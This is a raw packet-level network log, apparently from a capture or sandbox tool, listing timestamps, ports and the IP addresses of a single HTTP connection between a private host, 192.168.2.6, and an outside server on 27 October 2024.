Oct 27, 2024 00:31:09.433578968 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.433757067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.433773994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.433804989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.433818102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.434035063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.434086084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.436500072 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.436537981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.436552048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.436594009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.436619043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.436636925 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.436781883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.436798096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.436811924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.436841011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.436856985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.437158108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.437172890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.437186956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.437206984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.437227964 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.467529058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.467556000 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.467570066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.467591047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.467608929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.467833996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.467880011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.467972040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.467988014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468003035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468014956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.468019009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468031883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.468049049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.468561888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468578100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468611956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.468637943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.468826056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468841076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.468868971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.468884945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.469214916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.469229937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.469244957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.469253063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.469268084 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.469268084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.469284058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.469285011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.469311953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.469346046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.470071077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470086098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470101118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470114946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470125914 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.470130920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470145941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.470179081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.470915079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470931053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470946074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470961094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470968962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.470976114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470992088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.470999956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.471029043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.471764088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.471780062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.471792936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.471807003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.471813917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.471848965 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.503896952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.503954887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.503966093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.503983021 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.504004955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.504158020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.504169941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.504179955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.504204988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.504219055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.548654079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548707962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548721075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548834085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.548930883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548942089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548953056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548964977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.548978090 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.549001932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.549731970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.549741983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.549794912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.549818039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.551994085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552081108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552088976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.552124023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552140951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.552160978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.552232027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552242994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552253962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552268982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.552289963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.552686930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552699089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.552732944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.552761078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.582839966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.582942009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.582953930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.582968950 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583003044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583003044 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583198071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.583246946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583331108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.583342075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.583353043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.583364010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.583379984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583395004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583441019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.583923101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.583940029 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584204912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.584243059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584256887 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584284067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.584319115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.584573030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584584951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584594965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584605932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584616899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584626913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.584630013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.584652901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.584666967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.585422993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.585433960 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.585443974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.585453987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.585464954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.585475922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.585500956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.585510015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.586311102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.586323023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.586333036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.586338997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.586344004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.586349010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.586379051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.586391926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.587095976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.587106943 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.587117910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:09.587146997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.587186098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.916559935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:09.924256086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:10.702639103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:10.702775002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:10.796968937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:10.804255962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:11.578131914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:11.578202963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:12.315771103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:12.321254969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.097027063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.097121000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.398140907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.403458118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.675811052 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.675879955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.675896883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.675925016 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.675930023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.675968885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.676142931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676186085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.676259041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676269054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676280022 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676297903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.676326036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.676774979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676785946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676796913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676808119 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.676820040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.676846981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.677340984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.677352905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.677364111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.677405119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.677421093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.677828074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.677839994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.677850962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.677875996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.677902937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.832741976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.832817078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.832829952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.832832098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.832940102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.832940102 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.833198071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833210945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833256960 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.833528042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833540916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833597898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.833921909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833934069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833944082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833955050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833966970 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.833980083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.834016085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.834016085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.834649086 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.834661961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.834671974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.834683895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.834748983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.835350990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.835510015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.835521936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.835531950 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.835544109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.835556984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.835562944 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.835575104 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.835577011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.835601091 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.835613966 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.836230993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.836244106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.836255074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.836266041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.836285114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.836313009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.989337921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.989429951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.989440918 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.989474058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.989474058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.989697933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.989747047 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.989960909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.989972115 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.990015984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.990258932 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.990271091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.990283012 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.990309000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.990326881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.991056919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991069078 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991077900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991091013 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991108894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.991142988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.991161108 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.991625071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991636992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991648912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.991676092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.991693020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.992396116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.992408991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.992420912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.992433071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.992451906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.992466927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.993108988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993122101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993132114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993160963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.993175983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.993876934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993889093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993899107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993911028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.993928909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.993957043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.994662046 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.994679928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.994692087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.994709969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.994741917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.995445967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.995457888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.995466948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.995479107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.995502949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.995521069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.996247053 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.996259928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.996270895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.996284962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.996304989 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.996324062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.997018099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997030973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997041941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997071981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.997098923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.997644901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997658014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997668028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997679949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.997699022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.997725964 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.998449087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.998466969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.998478889 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:13.998498917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:13.998537064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.104734898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.104841948 CEST	49709	80	192.168.2.6	185.215.113.206
